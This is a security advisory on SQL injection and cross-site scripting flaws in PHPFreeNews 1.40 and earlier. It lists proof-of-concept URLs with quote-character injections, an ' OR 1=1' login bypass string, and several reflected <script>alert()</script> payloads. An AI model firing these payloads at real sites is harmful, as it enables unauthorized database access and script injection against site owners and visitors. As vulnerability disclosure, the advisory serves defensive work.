[UNIX] PHPFreeNews SQL Injection and XSS

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  PHPFreeNews SQL Injection and XSS
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SUMMARY

 <http://www.phpfreenews.co.uk/> PHPFreeNews is "a free PHP Script that 
allows you to display news headlines and articles on your website".

PHPFreeNews has been found to be vulnerable to numerous SQL Injection and 
Cross Site Scripting vulnerabilities.

DETAILS

Vulnerable Systems:
 * PHPFreeNews version 1.40 and prior

SQL Injection:
Accessing any of the following URLs:
http://vulnerable/phpfn/SearchResults.php?Match='&NewsMode=1& 
SearchNews=Search&CatID=0

http://vulnerable/phpfn/SearchResults.php?Match=1&NewsMode=1&; 
SearchNews=Search&CatID='

http://vulnerable/phpfn/SearchResults.php?Match=%27&NewsMode=1&; 
SearchNews=Search&CatID=0

http://vulnerable/phpfn/SearchResults.php?Match=1&NewsMode=1&; 
SearchNews=Search&CatID=%27

Will cause the server to return the following:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result 
resource in \somepath\www\phpfn\Inc\ListingFunctions.php on line 92
Query failed : You have an error in your SQL syntax.
Check the manual that corresponds to your MySQL server version for the 
right syntax to use near
'''' IN BOOLEAN MODE) ORDER BY Sticky DESC, Priority, PostDate

In addition, accessing the following URL: 
http://vulnerable/phpfn/Inc/AccessControl.php and typing as the username 
and password some SQL injection string like " OR " 1=1 will cause the 
server to return an error.

Cross Site Scripting:
Accessing any of the following URLs, will trigger a cross site scripting 
vulnerability in the page being accessed:
http://vulnerable/phpfn/NewsCategoryForm.php?NewsMode=";><script>alert('Found By 
Matrix_Killer');</script>&CatID=0

http://vulnerable/phpfn/SearchResults.php?Match='><script>alert('Matrix_Killer 
OwnZ The World :)');</script>& NewsMode=1&SearchNews=Search&CatID=0

http://vulnerable/phpfn/SearchResults.php?Match=1&; 
NewsMode=1&SearchNews=Search&CatID='><script>alert('Hell Year');</script>

http://vulnerable/phpfn/SearchResults.php?Match=1&; 
NewsMode="><script>alert('0_o
Please StoP !');</script>&SearchNews=Search&CatID=0

http://vulnerable/phpfn/SearchResults.php?Match=";><script>alert('Matrix_Killer
-> The bug Hunter <-');</script>& NewsMode=1&SearchNews=Search&CatID=0


ADDITIONAL INFORMATION

The information has been provided by  <mailto:matrix_k@xxxxxx> 
matrix_killer.



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